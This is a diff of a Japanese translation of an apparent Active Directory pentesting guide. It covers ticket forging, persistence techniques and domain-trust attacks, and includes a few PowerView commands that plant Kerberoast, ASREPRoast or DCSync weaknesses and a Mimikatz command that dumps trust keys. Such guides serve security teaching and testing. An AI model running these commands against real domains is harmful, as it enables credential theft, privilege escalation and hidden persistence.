そして、もしそのユーザ/コンピュータの**ハッシュを奪取**すれば、Domain Admin を含む)**任意のユーザを偽装して特定のサービスにアクセスする**ことが可能になります。
{{#ref}}
@ -334,7 +334,7 @@ constrained-delegation.md
### Resourced-based Constrain Delegation
リモートコンピュータのActive Directoryオブジェクトに対して**WRITE**権限を持つことは、**昇格した権限**でコード実行を達成することを可能にします:
リモートコンピュータの Active Directory オブジェクトに対して **WRITE 権限** を持つことは、**昇格された権限でのコード実行**を得ることを可能にします:
{{#ref}}
@ -343,7 +343,7 @@ resource-based-constrained-delegation.md
### Permissions/ACLs Abuse
乗っ取ったユーザが、今後**横移動/権限昇格**を可能にするような**興味深い権限をドメインオブジェクトに対して持っている**ことがあります。
侵害されたユーザが一部のドメインオブジェクトに対して**興味深い権限**を持っている場合、それを利用して**横移動**や**権限昇格**が可能になります。
{{#ref}}
@ -352,7 +352,7 @@ acl-persistence-abuse/
### Printer Spooler service abuse
ドメイン内で**Spool serviceがリッスンしている**ことを発見すると、これを**悪用して新しい資格情報を取得**し、**権限を昇格**することができます。
ドメイン内で**Spool service がリッスンしている**ことを発見すると、これを**悪用**して**新しい資格情報を取得**したり**権限を昇格**させたりすることができます。
{{#ref}}
@ -361,8 +361,8 @@ printers-spooler-service-abuse.md
### Third party sessions abuse
もし**他のユーザが**その**compromised**マシンに**アクセス**している場合、メモリから資格情報を**gather**したり、彼らのプロセスに**beaconsをinject**してなりすますことが可能です。\
通常、ユーザはRDP経由でシステムにアクセスするため、サードパーティRDPセッションに対していくつかの攻撃を実施する方法は次の通りです:
**他のユーザ**が**侵害された**マシンに**アクセス**する場合、メモリから資格情報を**収集**したり、彼らのプロセスにビークンを**インジェクト**して彼らになりすますことが可能です。\
通常、ユーザは RDP を介してシステムにアクセスするため、第三者の RDP セッションに対するいくつかの攻撃方法はこちら:
{{#ref}}
@ -371,7 +371,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS**はドメイン参加コンピュータの**local Administrator password**を管理するシステムを提供し、それらを**ランダム化**、一意化、頻繁に**変更**します。これらのパスワードはActive Directoryに保存され、アクセスはACLを通じて許可されたユーザだけに制御されます。これらのパスワードにアクセスするための十分な権限があれば、他のコンピュータへピボットが可能になります。
**LAPS** はドメイン参加コンピュータの**ローカル Administrator パスワード**を管理する仕組みで、パスワードを**ランダム化**し一意にし頻繁に**変更**します。これらのパスワードは Active Directory に保存され、アクセスは ACL によって認可されたユーザに制御されます。これらのパスワードにアクセスする十分な権限があれば、他のコンピュータへピボットすることが可能になります。
{{#ref}}
@ -380,7 +380,7 @@ laps.md
### Certificate Theft
**compromised machineからのcertificatesの収集**は、環境内で権限を昇格する手段になり得ます:
侵害されたマシンから**証明書を収集**することは、環境内での権限昇格の手段になり得ます:
{{#ref}}
@ -389,18 +389,18 @@ ad-certificates/certificate-theft.md
### Certificate Templates Abuse
もし**脆弱なテンプレート**が設定されていれば、それらを悪用して権限を昇格することが可能です:
**脆弱なテンプレート**が設定されている場合、それを悪用して権限昇格することが可能です:
{{#ref}}
ad-certificates/domain-escalation.md
{{#endref}
### Post-exploitation with high privilege account
## Post-exploitation with high privilege account
### Dumping Domain Credentials
度**Domain Admin**、あるいはさらに良い**Enterprise Admin**の権限を取得すると、ドメインデータベースである _ntds.dit_ を**dump**できます。
**Domain Admin** またはより上位の **Enterprise Admin** 権限を得ると、ドメインデータベースである _ntds.dit_ を**ダンプ**できます。
[**More information about DCSync attack can be found here**](dcsync.md).
@ -408,22 +408,22 @@ ad-certificates/domain-escalation.md
### Privesc as Persistence
前述のいくつかの技術は、永続化のためにも使用できます。\
例えば、次のようなことが可能です:
前述した技術のいくつかは永続化に利用できます。\
例えば、次のようなことが可能です
- ユーザを[**Kerberoast**](kerberoast.md)に脆弱にする
- ユーザを [**Kerberoast**](kerberoast.md) に脆弱にする
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
```
- ユーザを[**ASREPRoast**](asreproast.md)に脆弱にする
- ユーザを [**ASREPRoast**](asreproast.md) に脆弱にする
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
- ユーザに[**DCSync**](#dcsync)権限を付与する
- ユーザに [**DCSync**](#dcsync) 権限を付与する
```bash
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
@ -431,7 +431,7 @@ Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdenti
### Silver Ticket
**Silver Ticket attack**は、特定のサービス向けに正当なTicket Granting Service (TGS)チケットを、例えばPCアカウントの**NTLM hash**を用いて作成する攻撃です。この手法は**サービスの権限にアクセスする**ために使用されます。
**Silver Ticket attack** は、特定のサービス向けに正当な Ticket Granting Service (TGS) チケットを、例えば**PC account の NTLM hash**などを使って作成する攻撃です。この方法を用いて**サービスの権限にアクセス**します。
{{#ref}}
@ -440,9 +440,7 @@ silver-ticket.md
### Golden Ticket
**Golden Ticket attack**は、Active Directory環境における**krbtgtアカウントのNTLM hash**を攻撃者が入手することを含みます。krbtgtはすべての**Ticket Granting Tickets (TGTs)**を署名するために用いられる特別なアカウントです。
攻撃者がこのハッシュを入手すると、任意のアカウントの**TGTs**を作成できるようになりますSilver ticket攻撃の一種
**Golden Ticket attack** とは、Active Directory 環境で **krbtgt account の NTLM hash** に攻撃者がアクセスすることを含みます。このアカウントはすべての **Ticket Granting Tickets (TGTs)** の署名に使用されるため特別です。攻撃者がこのハッシュを取得すると、任意のアカウントのための **TGT を作成**することができますSilver ticket attack と同様の利用法)。
{{#ref}}
@ -451,7 +449,7 @@ golden-ticket.md
### Diamond Ticket
これは、一般的なgolden ticket検出メカニズムを**回避するようにforgeされたgolden ticketのようなもの**です。
これらは golden ticket に似ていますが、**一般的な golden ticket 検出メカニズムを回避する**ように偽造されたものです。
{{#ref}}
@ -460,7 +458,7 @@ diamond-ticket.md
### **Certificates Account Persistence**
**アカウントのcertificatesを保持している、またはそれらを要求できること**は、ユーザのアカウントに永続化する非常に有効な手段です(たとえパスワードを変更されても):
**アカウントの証明書を持っている、またはそれを要求できる**ことは、ユーザのパスワードが変更されてもアカウントに**永続化**する非常に有効な手段です:
{{#ref}}
@ -469,7 +467,7 @@ ad-certificates/account-persistence.md
### **Certificates Domain Persistence**
**certificatesを使用して、ドメイン内で高権限の永続化を行う**ことも可能です:
**証明書を使用することでドメイン内で高権限を持って永続化**することも可能です:
{{#ref}}
@ -478,13 +476,13 @@ ad-certificates/domain-persistence.md
### AdminSDHolder Group
Active Directoryの**AdminSDHolder**オブジェクトは、Domain AdminsやEnterprise Adminsのような**特権グループ**のセキュリティを確保するため、これらのグループに対して標準の**ACL**を適用して不正な変更を防ぎます。しかし、この機能は悪用され得ます。攻撃者がAdminSDHolderのACLを変更して通常ユーザにフルアクセスを与えれば、そのユーザはすべての特権グループに対して広範な制御を得ることになります。本来保護のための機能が、監視されていなければ不正アクセスを許すことがある、という点に注意してください
Active Directory **AdminSDHolder** オブジェクトは、Domain Admins Enterprise Admins のような**特権グループ**のセキュリティを維持するため、これらのグループに標準的な **ACL** を適用して不正な変更を防ぎます。しかし、この機能は悪用可能で、攻撃者が AdminSDHolder の ACL を変更して通常ユーザにフルアクセスを与えると、そのユーザはすべての特権グループに対して広範な制御を得ることになります。この保護機能は監視が不十分だと裏目に出る可能性があります
[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM Credentials
すべての**Domain Controller (DC)**には**ローカル管理者**アカウントが存在します。そうしたマシンで管理者権を取得すれば、mimikatzを使ってローカルAdministratorのハッシュを抽出できます。その後、リモートでこのパスワードを使用できるようにするためにレジストリの変更が必要になります。
すべての **Domain Controller (DC)** にはローカル管理者アカウントが存在します。そのようなマシンで管理者権を取得すると、mimikatz を使用してローカル Administrator hash を抽出できます。その後、リモートでこのパスワードを使用できるようにするためにレジストリの変更が必要す。
{{#ref}}
@ -493,7 +491,7 @@ dsrm-credentials.md
### ACL Persistence
特定のドメインオブジェクトに対して、将来的に権限昇格を可能にするような**特別な権限をユーザに付与する**ことができます。
特定のドメインオブジェクトに対して**特別な権限**あるユーザに**付与**することで、そのユーザが将来的に**権限を昇格**できるようにすることができます。
{{#ref}}
@ -502,7 +500,7 @@ acl-persistence-abuse/
### Security Descriptors
**security descriptors**は、オブジェクトが持つ**権限**を**格納する**ために使用されます。もしオブジェクトのセキュリティディスクリプタに**少し変更**を加えられるだけで、特権グループのメンバーでなくてもそのオブジェクトに対して非常に興味深い権限を得ることができます。
**security descriptors** はオブジェクトが持つ**権限を格納**するために使われます。オブジェクトの **security descriptor** に小さな変更を加えるだけで、特権グループのメンバでなくてもそのオブジェクトに対して非常に興味深い権限を得ることができます。
{{#ref}}
@ -511,7 +509,7 @@ security-descriptors.md
### Skeleton Key
LSASSのメモリを改変して**ユニバーサルパスワード**を設定し、すべてのドメインアカウントへのアクセスを可能にします。
LSASS をメモリ上で改変して**ユニバーサルパスワード**を設定し、すべてのドメインアカウントへのアクセスを可能にします。
{{#ref}}
@ -521,7 +519,7 @@ skeleton-key.md
### Custom SSP
[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
独自の**SSP**を作成して、マシンにアクセスする際に使用される**credentialsを平文でcapture**することができます。
独自の **SSP** を作成して、マシンにアクセスする際に使用される **資格情報を平文でキャプチャ**することができます。
{{#ref}}
@ -530,8 +528,8 @@ custom-ssp.md
### DCShadow
新しいDomain ControllerをADに登録し、それを使って指定したオブジェクトに対してSIDHistoryやSPNsなどの属性を**ログを残さずにpush**します。これを行うにはDA権限とルートドメイン内での実行が必要です。\
ただし、誤ったデータを使うとかなり目立つログが出る点に注意してください。
新しい Domain Controller を AD に登録し、それを利用して指定したオブジェクトに対してSIDHistory、SPNs などの)属性を **ログを残さずに** プッシュします。これを行うには DA 権限とルートドメイン内での実行が必要です。\
ただし、誤ったデータを使うとかなり醜いログが出る点に注意してください。
{{#ref}}
@ -540,8 +538,8 @@ dcshadow.md
### LAPS Persistence
節では**LAPSパスワードを読むための十分な権限がある場合の権限昇格**について説明しました。しかし、これらのパスワードは**永続化のためにも利用**できます。\
参照:
述の通り、**LAPS パスワードを読むのに十分な権限**があれば権限昇格できますが、これらのパスワードは**永続化**にも利用できます。\
参照
{{#ref}}
@ -550,62 +548,62 @@ laps.md
## Forest Privilege Escalation - Domain Trusts
Microsoftは**Forest**をセキュリティ境界と見なしています。つまり、**単一ドメインの侵害がForest全体の侵害につながる可能性がある**ということです。
Microsoft**フォレスト (Forest)** をセキュリティ境界とみなしています。これは、**単一のドメインを侵害するとフォレスト全体が侵害される可能性がある**ことを意味します。
### Basic Information
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)は、ある**ドメイン**のユーザが別の**ドメイン**のリソースにアクセスすることを可能にするセキュリティメカニズムです。これは2つのドメインの認証システム間の連結を作成し、認証検証がシームレスに流れるようにします。ドメインがトラストを設定すると、トラストの整合性に重要な特定の**keys**を各Domain Controller (DC)が交換して保持します。
[**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) は、ある **ドメイン** のユーザが別の **ドメイン** のリソースにアクセスすることを可能にするセキュリティメカニズムです。これは両ドメインの認証システム間に連携を作り、認証検証がシームレスに流れるようにします。ドメインがトラストを設定すると、それらは特定の **keys** を各々の **Domain Controllers (DCs)** に交換して保持し、トラストの整合性に重要な役割を果たします。
典型的なシナリオでは、ユーザが**trusted domain**のサービスにアクセスしようとする際、まず自ドメインのDCから**inter-realm TGT**を要求する必要があります。このTGTは両ドメインで合意された共有の**key**で暗号化されます。ユーザはこのTGTを**trusted domainのDC**に提示してサービスチケット(**TGS**を取得します。trusted domainのDCがinter-realm TGTを検証すると、TGSを発行してユーザにサービスへのアクセスを許可します。
典型的なシナリオでは、ユーザが **trusted domain** のサービスにアクセスしようとする場合、まず自ドメインの DC から特別なチケットである **inter-realm TGT** を要求する必要があります。この TGT は両ドメインが合意した共有 **key** で暗号化されます。ユーザはこの TGT を **trusted domain の DC** に提示してサービスチケット(**TGS**を取得します。trusted domain DC inter-realm TGT を検証して有効と判断すると、サービスへのアクセスを許可する TGS を発行します。
**Steps**:
1. **Domain 1**の**client computer**が自身の**NTLM hash**を使って**Domain Controller (DC1)**に**Ticket Granting Ticket (TGT)**を要求することから始まります。
2. クライアントが正常に認証されれば、DC1は新しいTGTを発行します。
3. その後、クライアントは**Domain 2**のリソースにアクセスするために必要な**inter-realm TGT**をDC1に要求します。
4. inter-realm TGTは、両ドメイン間の双方向ドメイントラストの一部としてDC1とDC2が共有する**trust key**で暗号化されます。
5. クライアントはinter-realm TGTを**Domain 2のDomain Controller (DC2)**に持って行きます。
6. DC2は共有されたtrust keyを使ってinter-realm TGTを検証し、有効であればクライアントがアクセスしようとしているDomain 2内のサーバ向けに**Ticket Granting Service (TGS)**を発行します。
7. 最後にクライアントはこのTGSをサーバに提示し、サーバアカウントのハッシュで暗号化されたTGSを使ってDomain 2のサービスにアクセスします。
1. **Domain 1****client computer** が自身の **NTLM hash** を使って **Domain Controller (DC1)** から **Ticket Granting Ticket (TGT)** を要求してプロセスを開始します。
2. クライアントが正常に認証されると DC1 は新しい TGT を発行します。
3. クライアントは次に **Domain 2** のリソースにアクセスするために DC1 から **inter-realm TGT**要求します。
4. inter-realm TGT は、両ドメイン間の双方向トラストの一部として DC1 DC2 が共有する **trust key** で暗号化されます。
5. クライアントは inter-realm TGT を **Domain 2 の Domain Controller (DC2)** に持っていきます。
6. DC2 は共有された trust key を使って inter-realm TGT を検証し、有効であればクライアントがアクセスしようとする Domain 2 のサーバに対する **Ticket Granting Service (TGS)** を発行します。
7. 最後にクライアントはこの TGS をサーバに提示します。TGS はサーバのアカウントハッシュで暗号化されており、これによって Domain 2 のサービスへのアクセスが得られます。
### Different trusts
トラストが**一方向1 wayか双方向2 waysか**であることに注意してください。双方向のオプションでは両方のドメインが互いに信頼しますが、**一方向**のトラスト関係では一方が**trusted**、もう一方が**trusting**ドメインになります。後者の場合、**trusted側からのみtrustingドメイン内のリソースにアクセスできる**ことになります。
トラスト**片方向** または **双方向** であり得る点に注意が必要です。双方向の場合は両ドメインが互いに信頼しますが、**片方向** のトラスト関係では一方が **trusted**、もう一方が **trusting** ドメインになります。この場合、**trusted 側からは trusting 側のリソースにのみアクセスできる**ことになります。
もしDomain AがDomain Bを信頼している場合、AはtrustingドメインでBはtrustedドメインです。さらに、**Domain A**ではこれは**Outbound trust**となり、**Domain B**では**Inbound trust**となります。
もし Domain A が Domain B を信頼しているなら、A は trusting ドメインで B は trusted ドメインです。さらに、**Domain A** においてはこれは **Outbound trust** であり、**Domain B** においては **Inbound trust** となります。
**Different trusting relationships**
- **Parent-Child Trusts**: 同一フォレスト内で一般的な構成で、child domainは自動的にparent domainと双方向の推移的トラストを持ちます。つまり、親と子の間で認証要求がシームレスに流れることを意味します。
- **Cross-link Trusts**: "shortcut trusts"とも呼ばれ、childドメイン間の参照プロセスを高速化するために確立されます。大規模なフォレストでは、認証参照は通常フォレストルートまで上がってからターゲットドメインまで下る必要がありますが、cross-linkを作成することで経路が短縮されます。
- **External Trusts**: これは異なる、無関係なドメイン間で設定され、非推移的です。Microsoftのドキュメントによれば、external trustsはフォレストトラストで接続されていないフォレスト外のドメインのリソースにアクセスするのに有用です。external trustsではSIDフィルタリングによってセキュリティが強化されます。
- **Tree-root Trusts**: これらのトラストはフォレストルートドメインと新しく追加されたツリールート間で自動的に確立されます。頻繁には見られませんが、新しいドメインツリーをフォレストに追加する際に重要で、二方向の推移性を維持します
- **Forest Trusts**: これは2つのフォレストルートドメイン間の双方向かつ推移的なトラストで、SIDフィルタリングも強制してセキュリティを強化します。
- **MIT Trusts**: これらは非Windowsの[RFC4120準拠](https://tools.ietf.org/html/rfc4120)のKerberosドメインと確立されます。MIT trustsはやや特殊で、Windowsエコシステム外のKerberosベースのシステムとの統合を必要とする環境に対応します。
- **Parent-Child Trusts**: 同一フォレスト内で一般的な設定で、child domain は自動的に parent domain と二方向のトランジティブトラストを持ちます。これにより親と子の間で認証要求がシームレスに流れます。
- **Cross-link Trusts**: 「shortcut trusts」とも呼ばれ、child ドメイン間でのリファラルプロセスを短縮するために設定されます。複雑なフォレストでは認証リファラルがフォレストルートまで上がってからターゲットドメインに下る必要がありますが、cross-link を作成するとその経路が短縮され、地理的に分散した環境で有益です。
- **External Trusts**: 異なる無関係なドメイン間で設定されるもので、トランジティブではありません。Microsoft のドキュメントによれば、external trusts はフォレストトラストで接続されていないフォレスト外のドメインのリソースにアクセスするのに有用です。External trusts では SID filtering によってセキュリティが強化されます。
- **Tree-root Trusts**: フォレストルートドメインと新しく追加されたツリールートとの間に自動的に確立されるトラストです。頻繁には見られませんが、フォレストに新しいドメインツリーを追加する際に重要で、固有のドメイン名を維持し二方向のトランジティビティを確保します。詳細は Microsoft のガイドを参照してください
- **Forest Trusts**: これは二つのフォレストルートドメイン間の二方向トランジティブトラストで、SID filtering によるセキュリティ強化も適用されます。
- **MIT Trusts**: これらは非 Windows [RFC4120 準拠](https://tools.ietf.org/html/rfc4120) の Kerberos ドメインと確立されるトラストです。MIT trusts は外部の Kerberos ベースのシステムと統合する環境に適した特殊なケースです。
#### Other differences in **trusting relationships**
- トラスト関係は**推移的transitive**AがBを信頼し、BがCを信頼していればAはCを信頼するであったり**非推移的**であったりします。
- トラスト関係は**双方向トラスト**(両方が互いを信頼)として設定されることも、**一方向トラスト**(一方のみが他方を信頼)として設定されることもあります。
- トラスト関係は **トランジティブ**A は B を信頼し、B は C を信頼していれば A は C を信頼する)である場合と **非トランジティブ**である場合があります。
- トラスト関係は **双方向トラスト**(両者が互いに信頼する)または **片方向トラスト**(片方のみがもう片方を信頼する)として設定できます。
### Attack Path
1. **Enumerate** the trusting relationships
2. チェックして、どの**security principal**user/group/computerが**他ドメインのリソースに**ACEエントリや他ドメインのグループのメンバシップによって**アクセス**を持っているかを確認します。**domains間の関係**を探してください(おそらくそのためにトラストが作成されています)。
1. この場合、kerberoastも別のオプションになり得ます
3. ドメイン間を**pivot**できる**accounts**を**compromise**します
1. 信頼関係を**列挙**する
2. いずれかの **security principal**user/group/computerが**他ドメインのリソースにアクセスできるか**を ACE エントリや他ドメインのグループメンバシップで確認する。**ドメイン間の関係**を探せ(トラストはこれを目的に作成されている可能性がある)。
1. この場合 kerberoast も別のオプションになり得る
3. ドメインを横断して**ピボット**できるアカウントを**侵害**する
攻撃者が別ドメインのリソースにアクセスする方法は主に次の3つです:
攻撃者が別ドメインのリソースにアクセスするために使える主要なメカニズムは次の3つです
- **Local Group Membership**: プリンシパルがサーバ上の“Administrators”のようなローカルグループに追加されることがあり、そのマシンに対する大きな制御を与えます。
- **Foreign Domain Group Membership**: プリンシパルが外部ドメイン内のグループのメンバになることもあります。ただし、この方法の有効性はトラストの性質やグループのスコープに依存します。
- **Access Control Lists (ACLs)**: プリンシパルが**ACL**に、特に**DACL**内の**ACE**のエンティティとして指定されている場合、特定のリソースへのアクセスを持ちます。ACL、DACL、ACEの仕組みを深く掘り下げたい場合は、白書「An ACE Up The Sleeve」が非常に参考になります: https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf
- **Local Group Membership**: プリンシパルがサーバ上の “Administrators” グループのようなローカルグループに追加されている場合、そのマシンに対して大きな制御を得られます。
- **Foreign Domain Group Membership**: プリンシパルが外国ドメイン内のグループのメンバである場合もあります。ただし、この方法の有効性はトラストの性質とグループのスコープに依存します。
- **Access Control Lists (ACLs)**: プリンシパルが **ACL**、特に **DACL** 内の **ACE** として指定されている場合、特定のリソースへのアクセスが与えられます。ACL、DACL、ACE の仕組みに深く入るには、ホワイトペーパー “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” が非常に有用です。
### Find external users/groups with permissions
外部セキュリティプリンシパルを見つけるには、**`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** を確認できます。これらは**外部ドメイン/フォレスト**からのuser/groupです。
外部セキュリティプリンシパルを見つけるには **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** をチェックできます。これらは **外部のドメイン/フォレスト** からの user/group です。
これを**Bloodhound**で確認するか、powerviewを使って確認できます:
これは Bloodhound か powerview を使って確認できます:
```powershell
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
@ -613,7 +611,7 @@ Get-DomainForeignUser
# Get groups inside a domain with users our
Get-DomainForeignGroupMember
```
### 子フォレストから親フォレストへの権限昇格
### Child-to-Parent forest privilege escalation
```bash
# Fro powerview
Get-DomainTrust
@ -639,8 +637,8 @@ nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> 信頼鍵が**2つ**あります。1つは _Child --> Parent_ 用、もう1つは _Parent_ --> _Child_ 用です。\
> 現在のドメインで使用されているものは、次のコマンドで確認できます:
> **2つの trusted keys** が存在します。1つは _Child --> Parent_ 用、もう1つは _Parent_ --> _Child_ 用です。\
> 現在のドメインで使用されているキーは次のコマンドで確認できます:
>
> ```bash
> Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -649,7 +647,7 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
#### SID-History Injection
信頼を悪用して、SID-History injection により child/parent ドメインへ Enterprise admin として昇格します:
信頼を悪用して SID-History injection により、child/parent domain に対して Enterprise admin として権限を昇格します:
{{#ref}}
@ -658,17 +656,17 @@ sid-history-injection.md
#### Exploit writeable Configuration NC
Configuration Naming Context (NC) がどのように悪用され得るかを理解することは重要です。Configuration NC は Active Directory (AD) 環境内のフォレスト全体に関する構成データの中央リポジトリとして機能します。このデータはフォレスト内のすべての Domain Controller (DC) にレプリケートされ、writable DC は Configuration NC の書き込み可能なコピーを保持します。これを悪用するには、DC 上**SYSTEM** 権限(できれば child DCが必要です。
Configuration Naming Context (NC) がどのように悪用できるかを理解することは重要です。Configuration NC は Active Directory (AD) 環境内のフォレスト全体構成データの中央リポジトリとして機能します。このデータはフォレスト内のすべての Domain Controller (DC) にレプリケートされ、書き込み可能な DC は Configuration NC の書き込み可能なコピーを保持します。これを悪用するには、**DC 上の SYSTEM privileges**(できれば child DCが必要です。
**Link GPO to root DC site**
Configuration NC の Sites コンテナには、AD フォレスト内のすべてのドメイン参加コンピュータのサイト情報が含まれます。任意の DC 上で SYSTEM 権限を行使することで、攻撃者は GPO を root DC site にリンクできます。この操作により、これらのサイトに適用されるポリシーを操作して root domain を危険にさらす可能性があります。
Configuration NC の Sites コンテナには、AD フォレスト内のすべてのドメイン参加コンピュータのサイト情報が含まれます。任意の DC 上で SYSTEM privileges を持って操作することで、攻撃者は GPO を root DC site にリンクできます。この操作により、これらのサイトに適用されるポリシーを操作して root domain を危殆化させる可能性があります。
For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).
詳しくは [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) の研究を参照してください。
**Compromise any gMSA in the forest**
攻撃ベクターとしてドメイン内の特権 gMSA を標的にすることがあります。gMSA のパスワード計算に必要な KDS Root key は Configuration NC に保存されています。任意の DC 上で SYSTEM 権限を持てば、KDS Root key にアクセスしてフォレスト内の任意の gMSA のパスワードを算出することが可能です。
攻撃ベクターの一つは、ドメイン内の特権的な gMSA を標的にすることです。gMSA のパスワードを計算するために必要な KDS Root key は Configuration NC に保存されています。任意の DC 上で SYSTEM privileges を持てば、KDS Root key にアクセスしてフォレスト内の任意の gMSA のパスワードを算出することが可能です。
Detailed analysis and step-by-step guidance can be found in:
@ -684,21 +682,21 @@ Complementary delegated MSA attack (BadSuccessor abusing migration attribute
badsuccessor-dmsa-migration-abuse.md
{{#endref}}
Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
追加の外部研究: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
**Schema change attack**
この手法は忍耐を要し、新しい特権 AD オブジェクトの作成を待つ必要があります。SYSTEM 権限があれば、攻撃者は AD Schema を変更して任意のユーザに全クラスの完全なコントロールを与えることができます。これにより、新しく作成された AD オブジェクトに対する不正アクセスや制御が可能になります。
この手法は、特権を持つ新しい AD オブジェクトの作成を待つ忍耐を要求します。SYSTEM privileges があれば、攻撃者は AD Schema を変更して任意のユーザに全クラスに対する完全な制御を付与できます。これにより、新たに作成された AD オブジェクトへの不正アクセスや制御が発生する可能性があります。
Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).
詳しくは [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) を参照してください。
**From DA to EA with ADCS ESC5**
ADCS ESC5 の脆弱性は、PKI オブジェクトを制御してフォレスト内の任意のユーザとしての認証を可能にする証明書テンプレートを作成することを狙います。PKI オブジェクトは Configuration NC に存在するため、書き込み可能な child DC を侵害することで ESC5 攻撃を実行できます。
ADCS ESC5 脆弱性は、Public Key Infrastructure (PKI) オブジェクトを制御することで、フォレスト内の任意のユーザとして認証を可能にする証明書テンプレートを作成することを狙います。PKI オブジェクトは Configuration NC に存在するため、書き込み可能な child DC を侵害すれば ESC5 攻撃を実行できます。
More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).
この詳細は [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) を参照してください。ADCS が存在しないシナリオでは、攻撃者は必要なコンポーネントをセットアップできる場合があり、これは [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) で議論されています。
### 外部フォレストドメイン - 一方向Inboundまたは双方向
### External Forest Domain - One-Way (Inbound) or bidirectional
```bash
Get-DomainTrust
SourceName : a.domain.local --> Current domain
@ -709,7 +707,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
このシナリオでは、**あなたのドメイン外部ドメインによって信頼されており**、外部ドメインに対して**不確な権限**が与えられています。あなたは、**自ドメインのどのプリンシパルが外部ドメインに対してどのアクセス権を持っているか**を特定し、それを利用して攻撃を試みる必要があります:
このシナリオでは、**あなたのドメイン外部ドメインによって信頼されており**、外部ドメイン上であなたに対して**不確な権限**が与えられています。あなたは、**あなたのドメインのどのプリンシパルが外部ドメインに対してどのようなアクセスを持っているか**を特定し、それを悪用できるか試す必要があります:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -727,42 +725,39 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
このシナリオでは **あなたのドメイン****異なるドメイン** のプリンシパルに対していくつかの **特権****信頼** しています。
しかし、**ドメインが信頼される** と、trusted domain は **予測可能な名前** を持つ **ユーザーを作成し**、その **パスワード** としてその信頼されたパスワードを使用します。つまり、**trusting domain のユーザーにアクセスして trusted domain 内に侵入**し、列挙や権限昇格を試みることが可能であるということです:
このシナリオでは **your domain****different domains** からのプリンシパルに対していくつかの **privileges****trusting** しています。
しかし、ある **domain is trusted** と、trusting domain によって trusted domain は **creates a user** を行い、**predictable name** のユーザーを作成し、その **password** として **trusted password** を使用します。つまり、**access a user from the trusting domain to get inside the trusted one** して列挙し、さらに権限昇格を試みることが可能になります:
{{#ref}}
external-forest-domain-one-way-outbound.md
{{#endref}}
trusted domain を侵害する別の方法は、ドメイントラストの **逆方向** に作成された [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) を見つけることです(これはそれほど一般的ではありません)。
trusted domain を侵害する別の方法は、**trusted domain のユーザーが RDP でログインできる** マシン上で待ち伏せすることです。そうすれば、攻撃者は RDP セッションプロセスにコードを注入し、そこから **被害者のオリジンドメインにアクセス** することができます。\
さらに、**被害者がハードドライブをマウントしていた** 場合、RDP セッションプロセスからハードドライブの **startup folder****backdoors** を置くことも可能です。この手法は **RDPInception** と呼ばれます。
trusted domain を侵害する別の方法は、domain trust の **opposite direction** に作成された [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) を見つけることです(これはあまり一般的ではありません)。
trusted domain を侵害するもう一つの方法は、**user from the trusted domain can access** して **RDP** でログインできるマシンに待ち構えることです。攻撃者は RDP セッションプロセスにコードを注入し、そこから **access the origin domain of the victim** することができます。\
さらに、もし **victim mounted his hard drive** している場合、RDP セッションプロセスから攻撃者はハードドライブの **startup folder of the hard drive****backdoors** を置くことができます。この手法は **RDPInception** と呼ばれます。
{{#ref}}
rdp-sessions-abuse.md
{{#endref}}
### ドメイントラスト悪用の緩和策
### ドメイントラストの悪用に対する緩和策
### **SID Filtering:**
